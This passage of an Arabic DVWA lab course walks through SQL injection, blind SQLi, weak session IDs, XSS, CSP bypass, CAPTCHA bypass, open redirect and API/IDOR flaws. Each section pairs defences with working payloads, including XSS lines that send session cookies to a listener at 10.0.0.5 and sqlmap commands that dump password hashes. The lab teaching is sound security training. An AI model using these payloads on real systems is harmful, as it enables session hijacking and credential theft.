الدرس الأهم في هذه الوحدة: التهريب ليس حلاً. الحل الوحيد هو الاستعلامات المُهيَّأة (Parameterized Queries).

المستوى High — LIMIT 1 لا يمنع UNION

الاستعلام يعيد علامات التنصيص ويضيف LIMIT 1، والخطأ يُستبدل برسالة عامة. يكفي أن تُعلّق الجزء الأخير ليختفي الحد:

sql
1' UNION SELECT user, password FROM users #
1' UNION SELECT table_name, 2 FROM information_schema.tables WHERE table_schema=database() #

الحماية الحقيقية في Impossible: استعلام مُهيَّأ + ربط نوع صريح (PDO::PARAM_INT) + منع رسائل الخطأ.

السبب والدفاع

السبب: بناء الاستعلام بالتسلسل النصي، فيتحول مدخل المستخدم إلى جزء من نحو الاستعلام لا إلى قيمة.

الدفاع: استعلامات مُهيَّأة دائمًا (PDO/MySQLi مع ربط المعاملات)، التحقق من النوع، حساب قاعدة بيانات بأقل صلاحية، إخفاء رسائل الخطأ عن المستخدم، وWAF كطبقة إضافية لا كأساس.

22 · Blind SQL Injection — عندما لا ترى النتيجة

CRITICALCWE-89

الهدف: استخراج البيانات دون أن تُطبع في الصفحة. لديك قناتان: صواب/خطأ (هل تغيّر نص الصفحة؟) والزمن (هل تأخّر الرد؟). الحمولة تُحوَّل إلى سؤال واحد: "هل الحرف الأول من كلمة مرور المدير يساوي 5؟".

  1. أنشئ فرقًا يمكن قياسه

    1' AND 1=1 # يجب أن يعطي "موجود"، و1' AND 1=2 # يعطي "غير موجود". هذا هو البت الذي ستقرأ به كل شيء.

  2. حوّل الشرط إلى سؤال عن البيانات

    استخدم SUBSTRING لفحص حرف واحد في موضع محدد.

  3. أتمتة الحروف

    حلقة على المواضع 1..32 وحروف 0-9a-f. أو دع sqlmap يفعلها.

  4. استخدم الزمن عند غياب أي فرق بصري

    SLEEP(5) داخل شرط؛ الرد المتأخر يعني "نعم".

sql استخراج حرفًا بحرف
-- فرق الصواب والخطأ
1' AND 1=1 #
1' AND 1=2 #
-- هل الحرف الأول من كلمة مرور admin هو 5؟
1' AND SUBSTRING((SELECT password FROM users WHERE user_id=1),1,1)='5' #
-- الزمن: نفس السؤال لكن عبر التأخير
1' AND SLEEP(5) #
1' AND IF(SUBSTRING((SELECT password FROM users WHERE user_id=1),1,1)='5',SLEEP(5),0) #
bash قياس الزمن وقراءة النتيجة
# الزمن الكلي للطلب بالثواني
$ curl -s -o /dev/null -w "%{time_total}\n" \
  -b "PHPSESSID=YOURID; security=low" \
  "http://localhost:8080/dvwa/vulnerabilities/sqli_blind/?id=1%27+AND+SLEEP(5)+%23&Submit=Submit"

# أتمتة كاملة
$ sqlmap -u "http://localhost:8080/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit" \
    --cookie="PHPSESSID=YOURID; security=low" --technique=BT --batch \
    -D dvwa -T users -C user,password --dump
— النتيجة المتوقعة —
[INFO] testing connection to the target URL
[INFO] GET parameter 'id' appears to be 'AND boolean-based blind' injectable
[INFO] retrieved: admin, 5f4dcc3b5aa765d61d8327deb882cf99
[INFO] retrieved: gordonb, e99a18c428cb38d5f260853678922e03
Medium و High — تغيّر المدخل لا المبدأ

Medium: الطلب صار POST والقيمة رقمية، فلا تحتاج تنصيصًا: 1 AND 1=1 #.

High: المدخل انتقل إلى الكوكي id، والاستعلام محدود بـLIMIT 1. المبدأ نفسه — القناة العمياء لا تتغير.

bash
$ sqlmap -u "http://.../sqli_blind/" --cookie="id=1; PHPSESSID=...; security=high" --level=3 --batch --dump
الأثر الحقيقي

الاستخراج الأعمى بطيء (آلاف الطلبات لكلمة مرور واحدة) لكنه فعال دائمًا، ولا يترك أثرًا واضحًا في الواجهة. لهذا يُصنَّف بنفس خطورة SQLi العادي: غياب المخرَج ليس غياب الثغرة.

23 · Weak Session IDs — جلسة يمكن تخمينها

HIGHCWE-330

الهدف: الوصول إلى جلسة مستخدم آخر دون كلمة مرور. إذا كان معرّف الجلسة متسلسلًا (1، 2، 3…) أو مبنيًا على الوقت، فإن انتحال الجلسة يصبح مسألة حساب لا مسألة اختراق.

  1. راقب الكوكي

    افتح الوحدة واضغط Generate عدة مرات، وراقب dvwaSession في DevTools ← Application ← Cookies.

  2. اكتشف النمط

    Low: عدّاد يزيد بمقدار 1. Medium: طابع زمني time(). High: md5() لعدّاد متزايد — أي أن الناتج ثابت ومعروف لكل قيمة.

  3. اصنع القيمة بنفسك

    احسب التجزئة للرقم التالي بنفسك (md5(2))، أو عدّل الكوكي إلى قيمة جلسة أخرى، وأعد تحميل الصفحة. سيقبلها الخادم لأنها مجرد قيمة يقرأها.

bash إنشاء جلسات وتخمين أخرى
# ماذا تُصدر الوحدة؟
$ curl -s -b "PHPSESSID=YOURID; security=low" -c jar.txt \
    http://localhost:8080/dvwa/vulnerabilities/weak_id/ | grep -i dvwaSession

# تخمين جلسة مجاورة
$ curl -s -b "dvwaSession=2; security=low" http://localhost:8080/dvwa/vulnerabilities/weak_id/

# المستوى High: التجزئة قابلة للحساب
$ php -r 'echo md5(2), PHP_EOL;'
— النتيجة المتوقعة —
Cookie set: dvwaSession=1
Cookie set: dvwaSession=2
Cookie set: dvwaSession=3        ← Low: تسلسل يمكن توقعه كليًا
Cookie set: dvwaSession=c81e728d9d4c2f636f067f89cc14862c   ← High: md5(2)
السبب والدفاع

السبب: إنتروبيا منخفضة. المعرّف يجب أن يكون عشوائيًا آمنًا (128 بت على الأقل) لا عدّادًا ولا طابعًا زمنيًا ولا تجزئة لهما.

الدفاع: random_bytes(32)، تجديد المعرّف عند الدخول، إبطاله عند الخروج، ربطه ببصمة خفيفة، وانتهاء صلاحية مطلق. والأهم: استخدام إطار عمل مُختبَر بدل كتابة إدارة الجلسات يدويًا.

24 · JavaScript Attacks — التحقق في العميل ليس تحققًا

MEDIUMCWE-602

الهدف: إرسال الكلمة المطلوبة (success) بينما الصفحة تمنعك. الفكرة المحورية: أي منطق يُنفَّذ في المتصفح يمكنك قراءته وتعديله — لأن المتصفح جهازك.

  1. اقرأ الدالة

    عرض المصدر أو DevTools يعرض generate_token() أو do_something(). هذه الدالة هي "السر" المؤقت.

  2. نفّذها على القيمة المطلوبة

    من الـConsole: احسب الرمز للكلمة success بدل الكلمة التي فرضتها الواجهة، ثم ضعه في حقل token.

  3. أو تجاوز الواجهة كليًا

    اعترض الطلب في Burp وأرسل phrase=success مع الرمز المحسوب.

javascript حساب الرمز من الـConsole
// Low: الرمز = md5(rot13(phrase)) — والدالتان موجودتان في الصفحة
md5(rot13("success"));

// Medium: الرمز = عكس("XX" + phrase + "XX")
do_something("XXsuccessXX");

// High: الكود مبهم (sha256 + عكس + ثلاثة أجزاء) — نفّذ الدوال نفسها
// بدل تفكيكه: اكتب القيمة في الحقل ثم استدعِ معالج الضغط من الـConsole
do_something("success");
— النتيجة المتوقعة —
Well done! You have submitted the correct word.
(تم إرسال "success" رغم أن الواجهة تطلب كلمة أخرى)
السبب والدفاع

السبب: الثقة في نتيجة حسبها العميل. الخادم لا يملك أي شيء يمنع العميل من إرسال ما يريد.

الدفاع: أي تحقق له أثر أمني يجب أن يُعاد على الخادم. تحقق العميل مفيد لتجربة المستخدم وسرعة التغذية الراجعة فقط — لا للأمان، ولا للأسعار، ولا للصلاحيات، ولا للرموز.

25 · XSS (DOM) — الخادم بريء تمامًا

HIGHCWE-79

الهدف: تنفيذ JavaScript دون أن يصل أي شيء إلى الخادم. الصفحة تقرأ من العنوان (location.href) وتكتب الناتج بـdocument.write — أي أن الحمولة تُنفَّذ في المتصفح فقط، ولا تظهر في سجلات الخادم.

  1. افحص الكود

    عرض المصدر يُظهر: قراءة المعامل default= من العنوان ثم كتابته داخل document.write بلا ترميز.

  2. أضف الحمولة إلى العنوان

    لا يمرّ الطلب إلى الخادم بعد #، لكن السكربت يقرأ العنوان كاملًا.

  3. لاحظ غياب الأثر

    لا يوجد أي طلب يحمل الحمولة — وهذا سبب خطورة DOM XSS في المراقبة والتوعية.

url Low ثم Medium
# Low — الحقن المباشر
http://localhost:8080/dvwa/vulnerabilities/xss_d/?default=<script>alert(document.cookie)</script>

# Medium — الكود يفحص وجود "<script" نصيًا فقط
http://localhost:8080/dvwa/vulnerabilities/xss_d/?default=<img src=x onerror=alert(document.cookie)>
http://localhost:8080/dvwa/vulnerabilities/xss_d/?default=<svg onload=alert(1)>
— النتيجة المتوقعة —
تنبيه المتصفح: PHPSESSID=abc123...; security=low
(وفي Medium: نفس التنبيه رغم فحص <script>)
المستوى High — قائمة سماح فعلية

الكود هنا لا يُهرّب ولا يحظر: يقارن القيمة بأربع لغات مسموحة (French / English / German / Spanish) ويكتب للقيمة المطابقة فقط، وأي شيء آخر يُستبدل بـEnglish. لا توجد حمولة تتجاوز ذلك، لأن الحل لم يكن "حظر" بل اسمح بما تعرفه.

السبب والدفاع

السبب: مصدر يتحكم به المستخدم (location) يصبّ في حوض يفسّر HTML (document.write / innerHTML).

الدفاع: استخدم textContent بدل innerHTML، وURLSearchParams للقراءة، وقائمة سماح للقيم، وCSP كطبقة ثانية، مع مكتبة تعقيم DOM موثوقة عند الحاجة لعرض HTML.

26 · XSS (Reflected) — الحمولة تعود إليك

HIGHCWE-79

الهدف: دفع الضحية إلى فتح رابط يحمل سكربتك، فيُنفَّذ في أصلك (نطاقك) وبصلاحياته. الأثر هنا لا يخصّك وحدك — الضحية هو من ينفّذ.

  1. ابحث عن نقطة الانعكاس

    أدخل test123 في الحقل، وانظر أين يظهر النص في الاستجابة (داخل HTML؟ داخل سمة؟ داخل <pre>؟). السياق يحدد الحمولة.

  2. اكسر السياق

    في نص HTML تحتاج <script>؛ في سمة تحتاج " وإغلاق الوسم.

  3. اجعل الحمولة مفيدة

    بدل alert، اسرق الكوكي إلى مستمع تملكه أو نفّذ فعلًا باسم الضحية.

payload من التنبيه إلى السرقة
# Low
<script>alert(document.cookie)</script>
# Medium — الحظر يخص <script> بحروف صغيرة فقط
<SCRIPT>alert(1)</SCRIPT>
<img src=x onerror=alert(document.cookie)>
# High — يُحظر أي وسم يحتوي حروف script متفرقة
<img src=x onerror="fetch('http://10.0.0.5:8000/?c='+document.cookie)">
<svg/onload=alert(1)>
bash مستمع لاستقبال الكوكيز
$ python3 -m http.server 8000
# ثم افتح رابط الضحية:
http://localhost:8080/dvwa/vulnerabilities/xss_r/?name=<img src=x onerror="fetch('http://10.0.0.5:8000/?c='+document.cookie)">
— النتيجة المتوقعة على المستمع —
10.0.0.5 - - [..] "GET /?c=PHPSESSID=8f2c1a...;%20security=low HTTP/1.1" 200 -
السبب والدفاع

السبب: المدخل يُعاد في الاستجابة دون ترميز مناسب للسياق.

الدفاع: ترميز HTML عند الإخراج (htmlspecialchars($x, ENT_QUOTES))، وترميز خاص لكل سياق (سمة، JS، URL، CSS)، مع CSP صارمة وHttpOnly لتقليل أثر النجاح.

27 · XSS (Stored) — حمولة تُصيب كل من يمرّ

CRITICALCWE-79

الهدف: حفظ سكربت في قاعدة البيانات ليُنفَّذ عند كل زيارة للصفحة. الأخطر: عندما يزور المدير الصفحة يعمل سكربتك بصلاحياته — أي أنك تحصل على "يد" داخل لوحة الإدارة دون اختراقها.

  1. احفظ الحمولة

    في دفتر الزوار: الاسم x والرسالة <script>alert(1)</script>.

  2. أعد تحميل الصفحة

    ستُنفَّذ الحمولة مرة أخرى — هذا هو الفرق الجوهري عن Reflected: الاستمرارية.

  3. اربطها بمستمع

    استبدل التنبيه بسكربت يرسل الكوكي إلى خادمك؛ سجّل الدخول بمستخدم آخر (أو انتظر المدير) وشاهد الوصول.

  4. قِس الأثر

    الكوكي المسروق يعني جلسة كاملة: تصفّح باسم الضحية، وغيّر بياناته، واستخدم صلاحياته.

payload من التنبيه إلى سيطرة الجلسة
# إثبات الثغرة
<script>alert(1)</script>

# سرقة الجلسة (يُحفظ في الحقل ثم يُزار)
<script>new Image().src="http://10.0.0.5:8000/?c="+document.cookie;</script>

# Medium/High: حقل الرسالة مُهرَّب — استخدم حقل الاسم بوسم بلا كلمة script
<img src=x onerror=fetch('//10.0.0.5:8000?'+document.cookie)>
— النتيجة المتوقعة —
Guestbook:
x : <script>alert(1)</script>        ← يُنفَّذ عند كل زيارة

وعلى المستمع:
GET /?c=PHPSESSID=8f2c1a9b...;%20security=low
Medium و High — الترميز الناقص يُلتف عليه

Medium: حقل الرسالة يُمرّر عبر strip_tags وhtmlspecialchars، لكن حقل الاسم لا يُهرَّب — يُحذف منه <script> نصيًا فقط. إذن نقطة الحقن هي الاسم، والحمولة وسم بلا كلمة script.

High: تعبير نمطي يحظر أي وسم يحتوي حروف s c r i p t متتابعة، والرسالة ما زالت مُهرَّبة. الحل: <img onerror> أو <svg onload> في حقل الاسم.

المستوى Impossible يهرّب الحقلين عند الحفظ وعند العرض — فتُعرض الحمولة نصًا ولا تُنفَّذ أبدًا. لاحظ أن الحل لم يكن "منع الإدخال" بل "ترميز الإخراج".

لماذا تُصنَّف الأخطر؟

لأنها ثغرة دائمة وموزّعة: تُصيب كل زائر، وتعمل بلا تفاعل، ويمكن أن تتحول إلى دودة تنتشر بين المستخدمين. في تطبيق حقيقي، Stored XSS في تعليق عام يعني أن كل مستخدم — بما فيه المدير — قد يفتح صفحة تحت سيطرتك.

28 · CSP Bypass — حين تفشل الطبقة الدفاعية الأخيرة

MEDIUMCWE-693

الهدف: تنفيذ JavaScript رغم وجود سياسة أمان المحتوى. CSP ليست حلاً سحريًا: إن كانت مكتوبة بشكل ضعيف (نطاقات واسعة، nonce ثابت، أو سماح غير مقصود) فإنها تعطي إحساسًا زائفًا بالأمان.

  1. اقرأ الترويسة

    DevTools ← Network ← Response Headers: ابحث عن Content-Security-Policy وسجّل script-src بدقة.

  2. حدّد نقطة الضعف

    Low: قائمة نطاقات خارجية موثوقة (CDN ومواقع نصوص) يمكنك النشر عليها. Medium: 'unsafe-inline' مع nonce ثابت مكتوب في الصفحة. High: 'self' فقط، لكن الصفحة تستدعي نقطة JSONP داخل نفس الأصل.

  3. استغل ما تسمح به السياسة

    استخدم نطاقًا مسموحًا، أو nonce مقروءًا، أو نقطة تعيد بياناتك كـJavaScript.

payload ثلاث طرق حسب شدة السياسة
# Low: سياسة تسمح نطاقات خارجية — انشر سكربتك على أحدها
?b=<script src="https://cdn.jsdelivr.net/gh/digininja/csp_bypass/alert.js"></script>

# Medium: nonce ثابت مكتوب في الكود (لاحظ أنه غير عشوائي)
?b=<script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert(1)</script>

# High: 'self' فقط — استخدم نقطة JSONP داخل نفس الأصل
?b=<script src="/dvwa/vulnerabilities/csp/source/jsonp.php?callback=alert(1)//"></script>
— النتيجة المتوقعة —
Content-Security-Policy: script-src 'self' 'unsafe-inline' 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA='
→ التنفيذ ينجح رغم السياسة، لأن ما استُخدم موجود فعلاً في قائمة السماح
لماذا تُهزم السياسة؟

نطاق موثوق = كود موثوق. السماح لـCDN يعني السماح بكل ما يُنشر عليه. nonce ثابت = بلا nonce. قيمته في العشوائية لكل طلب. و'self' ليس ضمانًا: أي نقطة في موقعك تعيد بيانات المستخدم كـJavaScript (JSONP، أو ردّ بـContent-Type: text/javascript) تصبح أداة تنفيذ.

السبب والدفاع

السبب: سياسة متساهلة أو nonce قابل لإعادة الاستخدام. CSP لا تعوّض عن ترميز الإخراج؛ هي خط دفاع أخير.

الدفاع: script-src 'self' 'nonce-<عشوائي لكل طلب>' 'strict-dynamic'، بلا unsafe-inline ولا unsafe-eval، وحصر النطاقات الخارجية، وإلغاء نقاط JSONP، مع مراقبة التقارير عبر report-uri.

29 · Insecure CAPTCHA — التحقق الذي يُنفَّذ في العميل

MEDIUMCWE-804

الهدف: تغيير كلمة المرور دون حلّ الكابتشا. الكود يقسّم العملية إلى مرحلتين ويعتمد على قيمة step يرسلها المتصفح؛ تجاوز المرحلة الأولى يعني تجاوز الكابتشا كلها.

  1. راقب المراحل

    افتح الوحدة واعترض الطلبات: step=1 يعرض الكابتشا، وstep=2 ينفّذ التغيير.

  2. اقفز إلى المرحلة الثانية

    أرسل الطلب مباشرة بـstep=2 مع كلمة المرور الجديدة — دون أي رمز كابتشا.

  3. أضف المعلومة الناقصة

    في Medium يطلب الكود متغيرًا آخر (passed_captcha=true) — أضفه بنفس الأسلوب.

bash تجاوز المرحلة عبر curl
# Low: القفز إلى step=2
$ curl -s -b "PHPSESSID=YOURID; security=low" \
  -d "step=2&password_new=Pwned123&password_conf=Pwned123&Change=Change" \
  http://localhost:8080/dvwa/vulnerabilities/captcha/

# Medium: أضف المتغير الذي يتحقق منه الكود
$ curl -s -b "PHPSESSID=YOURID; security=medium" \
  -d "step=2&password_new=Pwned123&password_conf=Pwned123&passed_captcha=true&Change=Change" \
  http://localhost:8080/dvwa/vulnerabilities/captcha/
— النتيجة المتوقعة —
Password Changed.
(بدون أي تفاعل مع صورة الكابتشا)
المستوى High — تحقق حقيقي، لكن مفاتيح الاختبار تمرّ دائمًا

هنا يتحقق الخادم من g-recaptcha-response لدى Google فعليًا. لكن DVWA يستخدم مفاتيح الاختبار العامة التي تعيد النجاح دائمًا، لذا لا يمنع ذلك المحاولة — والدرس أن التحقق يجب أن يكون بمفتاح سري حقيقي، ولمرة واحدة، ومربوطًا بالجلسة والفعل.

السبب والدفاع

السبب: حالة العملية (هل حُلّت الكابتشا؟) محفوظة في المتصفح/الطلب لا على الخادم.

الدفاع: خزّن حالة التحقق في الجلسة على الخادم، وتحقق من الرمز لدى المزوّد بمفتاح سري، واسمح باستخدامه مرة واحدة فقط، واربطه بالفعل المطلوب وبمهلة زمنية قصيرة.

30 · Open HTTP Redirect — نطاقك الموثوق يقود إلى الفخ

MEDIUMCWE-601

الهدف: استخدام نطاق موثوق لإعادة توجيه الضحية إلى موقع المهاجم. الخطورة ليست في التحويل بحد ذاته، بل في كسر ثقة المستخدم وفي سرقة رموز OAuth التي تُرسل إلى redirect_uri.

  1. اختبر المعامل

    الوحدة تقبل ?redirect=. جرّب نطاقًا خارجيًا وراقب كود الحالة وترويسة Location.

  2. تحقّق سلوكيًا لا بصريًا

    استخدم curl -sI — المتصفح قد يخفي التحويل أو ينفّذه بسرعة.

  3. جرّب الالتفافات

    الحظر النصي لكلمة https:// يُهزم بالرابط النسبي للمخطط (//)، وشرط "يجب أن يحتوي على info.php" يُهزم بوضع الاسم في مسار موقع المهاجم.

bash Low ثم التفافان لكشفين نصيَّين
# Low: لا يوجد أي فحص
$ curl -sI "http://localhost:8080/dvwa/vulnerabilities/open_redirect/?redirect=https://evil.tld"

# Medium: يمنع النص "http://" و"https://" — استخدم رابطًا نسبيًا للمخطط
?redirect=//evil.tld/phish

# High: يشترط أن يحتوي الرابط على "info.php" — ضعه في مسار موقعك
?redirect=//evil.tld/info.php
— النتيجة المتوقعة —
HTTP/1.1 302 Found
Location: //evil.tld/info.php

ثم في المتصفح: https://evil.tld/info.php  ← نطاق الضحية استُخدم كوسيلة ثقة
السبب والدفاع

السبب: قبول وجهة غير مُقيَّدة، أو تقييدها ببحث نصي عن كلمة يمكن للمهاجم وضعها داخل رابطه.

الدفاع: قائمة سماح بمسارات/نطاقات محددة مسبقًا، أو استخدام معرّف داخلي (?next=1) يُترجم إلى مسار معروف، والتحقق بـparse_url ومقارنة host بالتطابق التام، وإظهار صفحة تحذير عند الخروج من النطاق.

31 · API و Auth Bypass — الحافة الحديثة للتطبيقات

HIGHCWE-639

الهدف: قراءة أو تعديل بيانات مستخدمين آخرين عبر واجهة برمجية. الأخطاء الشائعة: فحص الهوية دون الصلاحية (BOLA/IDOR)، وإرجاع حقول زائدة، واعتماد على تحقق في العميل، وأحيانًا مقارنة PHP مرنة تُبطل التحقق كله.

أ) تخطي المصادقة بمصيدة الأنواع (Type Juggling)

في وحدة Auth Bypass يعتمد الكود على دالة مقارنة تُرجع NULL عند تمرير مصفوفة بدل نص. وبما أن NULL == 0 في المقارنة المرنة، يُقبل الطلب كأنه ناجح. القاعدة: استخدم === وتحقق من النوع دائمًا.

bash تمرير مصفوفة بدل كلمة مرور
$ curl -s -b "PHPSESSID=YOURID; security=low" \
  -d "username=admin&password[]=x&Login=Login" \
  http://localhost:8080/dvwa/vulnerabilities/authbypass/

ب) IDOR على الـAPI

المسار النموذجي في DVWA الحديث: /dvwa/vulnerabilities/api/v2/user/<id>. احصل على رمز دخولك، ثم غيّر المعرّف. إن أعادت الواجهة بيانات مستخدم آخر فهي ثغرة صلاحيات أفقية.

bash من رمز مشروع إلى بيانات الجميع
# 1) الحصول على رمز
$ curl -s -X POST http://localhost:8080/dvwa/vulnerabilities/api/v2/login \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":"password"}'

# 2) قراءة مستخدمين بمعرّفات مختلفة
$ curl -s http://localhost:8080/dvwa/vulnerabilities/api/v2/user/1 \
  -H "Authorization: Bearer YOUR_TOKEN"
$ curl -s http://localhost:8080/dvwa/vulnerabilities/api/v2/user/2 \
  -H "Authorization: Bearer YOUR_TOKEN"

# 3) هل الاستجابة تحمل حقولاً زائدة؟
$ curl -s .../user/1 -H "Authorization: Bearer $TOK" | jq
— النتيجة المتوقعة —
{"id":1,"username":"admin","level":"admin"}
{"id":2,"username":"gordonb","level":"user"}   ← بيانات مستخدم آخر بلا إذن
ملاحظة عن اختلاف الإصدارات

وحدتا API وAuth Bypass موجودتان في إصدارات DVWA الحديثة (1.10+) وقد تختلف مساراتهما قليلًا. ابدأ دائمًا من قائمة View Source في الصفحة نفسها لمعرفة المسار الفعلي المتاح في نسختك، ولا تفترض المسار من درس آخر.

السبب والدفاع

السبب: التحقق من "هل أنت مسجّل؟" دون "هل يُسمح لك بهذا الكائن تحديدًا؟" — وهي فئة Broken Object Level Authorization، الأولى في قائمة OWASP API.

الدفاع: فحص الصلاحية على كل كائن وعلى كل حقل (WHERE id = ? AND owner_id = ?)، ومقارنة صارمة في PHP (=== مع تحقق نوع)، ومخططات استجابة صريحة (allow-list للحقول)، ومصادقة رمزية قصيرة العمر مع تدقيق على مستوى الواجهة.

32 · الجانب الدفاعي

بطاقة الإصلاح: من الثغرة إلى السطر الذي يمنعها

الدفاع ليس "استخدم مكتبة أمان". الدفاع هو أن تعرف السبب الجذري فتُصلح المكان الصحيح. هذا الجدول هو خلاصة المختبر — استخدمه كقائمة مراجعة عند تصميم أي تطبيق جديد.

الثغرةالسبب الجذريالإصلاح الصحيحضابط مساعد
Brute Forceلا قيود على المحاولاتحدّ محاولات + تأخير تصاعدي + 2FAتنبيه عند الفشل المتكرر
Command Injectionمدخل داخل سلسلة أوامرتجنّب الصدفة، أو قائمة سماح + escapeshellargحاوية محدودة الصلاحية
CSRFالثقة بالكوكي وحدهاتوكن لكل نموذج + SameSite=Laxإعادة توثيق للأفعال الحساسة
File Inclusionمسار يتحكم به المستخدمقائمة سماح + basename + open_basedirتعطيل allow_url_include
File Uploadتنفيذ في مجلد الرفعتخزين خارج جذر الويب + اسم عشوائي + فحص محتوىتعطيل محرّك PHP في مجلد الرفع
SQL Injectionبناء الاستعلام نصيًااستعلامات مُهيَّأة + ربط أنواعمستخدم DB بأقل صلاحية
Blind SQLiنفس السبب، بلا مخرَجنفس الإصلاح + إخفاء الأخطاءWAF وكشف الأنماط
Weak Session IDsإنتروبيا منخفضةrandom_bytes(32) + تجديد عند الدخولانتهاء صلاحية وإبطال
JavaScript Attacksتحقق في العميلإعادة التحقق على الخادمتوقيع الطلبات الحساسة
XSS (DOM)source → sinktextContent + قائمة سماحCSP بلا unsafe-inline
XSS (Reflected)إخراج غير مرمّزترميز حسب السياق عند العرضHttpOnly + CSP
XSS (Stored)عرض لاحق غير مرمّزترميز عند العرض في كل سياقمراجعة المحتوى الغني
CSP Bypassسياسة متساهلة / nonce ثابتnonce عشوائي لكل طلب + strict-dynamicتقارير CSP
Insecure CAPTCHAحالة التحقق في الطلبتحقق خادمي بمفتاح سري ولمرة واحدةحدّ محاولات
Open Redirectوجهة غير مقيّدةقائمة سماح أو معرّف داخليصفحة تحذير عند الخروج
API / IDORغياب فحص صلاحية الكائنفحص المالك على كل كائن وحقلمخطط استجابة صريح
لماذا المستوى Impossible مهم أكثر من Low؟

لأنه يعطيك نمط الكود الصحيح في السياق نفسه: قائمة سماح بدل حظر، استعلام مُهيَّأ بدل تهريب، توكن بدل لا شيء. عندما تكتب تطبيقك، لن تتذكر الحمولات — لكنك ستتذكر هذه الأنماط.

33 · المنهجية

كيف تعمل في اختبار حقيقي؟

الفرق بين من "يعرف الثغرات" ومن "يُجري اختبارًا" هو المنهجية: ترتيب، توثيق، ونطاق. المنهجية المرجعية هي OWASP WSTG — إطار يغطي ما يجب فحصه، لا كيف تُستغل النتيجة فقط.

  1. التخطيط والنطاق

    ما المسموح؟ أي بيئات؟ أي ساعات؟ من نقطة الاتصال للطوارئ؟ كل شيء خارج هذا لا يُلمس.

  2. الاستطلاع (Recon)

    معلومات عامة، نطاقات فرعية، تقنيات مستخدمة، بصمة الخادم — دون لمس التطبيق بعد.

  3. الرسم (Mapping)

    تصفّح التطبيق بوكيل اعتراض، سجّل كل نقطة إدخال وكل دور مستخدم وكل تدفق (تسجيل، دفع، استعادة كلمة مرور).

  4. الاختبار (Testing)

    طبّق بنود WSTG: مصادقة، جلسات، صلاحيات، حقن، منطق أعمال، معالجة أخطاء، تشفير نقل.

  5. الاستغلال المُثبت (PoC)

    أثبت الأثر بأقل تدخل ممكن. لا تفجّر قاعدة بيانات لتثبت وجود ثغرة قراءة.

  6. التقرير والمتابعة

    كل ثغرة بخطوات إعادة إنتاج دقيقة، أثر تجاري واضح، وإصلاح محدد. ثم إعادة اختبار بعد الإصلاح.

العدّة الأساسية

Burp Suite / Caido

وكيل اعتراض: Repeater للتجربة اليدوية، Intruder للأتمتة، Comparer للفروق.

sqlmap

أتمتة SQLi: كشف، تفريغ، تقنيات B/T/U/E. استخدمه بعد الفهم لا بدلًا منه.

ffuf / gobuster

تعداد المسارات والمعاملات والقيم. سرعة عالية مع قوائم Seclists.

nmap / whatweb / nikto

بصمة الخدمات، التقنيات، والإعدادات المعروفة الخطأ.

curl

أدق أداة لإثبات سلوك: ترويسات، حالة، توقيت. لا تُهملها.

DevTools

لثغرات المتصفح: DOM، CSP، postMessage، التخزين. لا بديل عنها.

أخلاقيات العمل المهني

لا تختبر خارج النطاق ولو "بفضول". لا تحتفظ ببيانات حقيقية سحبتها — استخدم الحد الأدنى المطلوب للإثبات ثم احذفها. لا تُجرِ اختبارات قد تُسقط الخدمة دون اتفاق مسبق. وأبلغ عن أي ثغرة خطيرة فورًا بدل تركها للتقرير النهائي.

34 · التوثيق

قالب تقرير يفهمه المطوّر والإدارة

الثغرة التي لا تُوثَّق لا تُصلَح. التقرير الجيد يجيب على أربعة أسئلة: ماذا؟ أين؟ كيف أعيد إنتاجها؟ وما الأثر التجاري؟ ثم يقدّم إصلاحًا محددًا لا نصيحة عامة.

markdown بطاقة ثغرة جاهزة
## [HIGH] SQL Injection في معامل id
الموضع: GET /vulnerabilities/sqli/?id=
CVSS: 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
CWE: 89  |  OWASP: A03:2021 Injection

الوصف:
يُبنى الاستعلام بالتسلسل النصي من مدخل المستخدم، ما يسمح بتغيير منطق
الاستعلام واستخراج بيانات من جداول أخرى.

خطوات إعادة الإنتاج:
1. سجّل الدخول كمستخدم عادي.
2. افتح /vulnerabilities/sqli/?id=1
3. أرسل: 1' UNION SELECT user, password FROM users #
4. تظهر أسماء المستخدمين وتجزئات كلمات المرور.

الأثر: كشف كامل لبيانات الاعتماد (5 حسابات) → سيطرة على
حسابات إدارية → تعديل بيانات العملاء.

الإصلاح المقترح:
- استبدال بناء الاستعلام بـ Prepared Statement مع ربط الأنواع.
- تقليل صلاحيات مستخدم قاعدة البيانات.
- إخفاء رسائل الخطأ وإرجاع رمز 500 عام.
المرجع: OWASP WSTG-INPV-05
قاعدة الأثر

لا تكتب "الثغرة تسمح بتنفيذ SQL". اكتب: "تُتيح استخراج تجزئات كلمات مرور كل الحسابات، ومنها حساب مدير، أي سيطرة كاملة على لوحة الإدارة وتعديل بيانات العملاء". الإدارة تُقرّر بالأثر لا بالتقنية — والمطوّر يحتاج التفاصيل التقنية معًا. التقرير الجيد يخاطب الاثنين في نفس الصفحة.

35 · التقييم

تمارين تُثبت أنك تعلمت

الهدف ليس "حلّها" بل كتابة سلسلة الاستغلال بيدك وتوثيقها. لكل تمرين: الحمولة، سبب النجاح في الكود، والإصلاح.

#التمرينالمستوىما يُقاس
1استخرج كلمة مرور admin عبر SQLi ثم اكسرها محليًامبتدئسلسلة UNION + hashcat
2نفّذ id ثم cat /etc/passwd عبر Command Injectionمبتدئفهم الفواصل
3ارفع Web Shell ونفّذه، ثم افتح جلسة عكسيةمتوسطرفع + تنفيذ + استقرار
4اقرأ config.php عبر php://filter وفك الترميزمتوسطمعرفة المُغلِّفات
5نفّذ هجوم Stored XSS يسرق جلسة مستخدم آخرمتوسطمن التنبيه إلى الأثر
6اكتب صفحة CSRF وأثبت تغيير كلمة مرور الضحيةمتوسطفهم حدود SOP
7تجاوز كل مستويات Brute Force حتى High بسكربتكمتقدمأتمتة التوكن
8استخرج كلمة مرور بـBlind SQLi دون استخدام sqlmapمتقدممنطق البت الواحد
9اكتب تقريرًا كاملًا لثلاث ثغرات بصيغة CVSSمتقدمالتوثيق المهني
10اقرأ كود Impossible واشرح لماذا كل مستوى سابق فشلإتقانالربط بين السبب والإصلاح
بعد DVWA: أين تكمل؟

